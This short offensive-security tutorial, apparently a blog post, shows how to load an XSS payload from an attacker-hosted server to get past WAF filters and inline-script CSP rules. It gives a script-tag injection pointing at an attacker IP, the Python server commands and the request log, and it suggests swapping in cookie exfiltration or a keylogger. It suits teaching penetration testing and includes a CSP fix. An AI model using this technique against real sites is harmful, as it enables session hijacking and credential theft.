XSS — Moving the Payload to an External Resource

Why External Resources?

Inline payloads like <script>alert(1)</script> are often blocked by:

• WAFs checking for <script> tags
• CSP unsafe-inline restrictions
• Input length limits

Hosting the payload on your own server and loading it via src= sidesteps all of these — the browser fetches and executes it cleanly.

Step-by-Step

Step 1 — Create the payload file on your attack machine:

echo "alert(1)" > xss.js

Step 2 — Start a Python HTTP server:

python3 -m http.server 80

Step 3 — Submit the injection:

<script src="http://192.168.XX.XX/xss.js"></script>

What the Server Sees

Serving HTTP on 0.0.0.0 port 80 192.168.1.X - - [14/May/2026 12:00:01] "GET /xss.js HTTP/1.1" 200 -

That GET hit confirms the victim’s browser executed your script. Replace alert(1) with any payload — cookie exfil, keylogger, phishing redirect.

Fix: Implement a strict Content Security Policy: script-src 'self' — this blocks external script sources entirely. Also validate and sanitise all reflected input.

---

All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.

☕ Buy Me a Coffee    Patreon →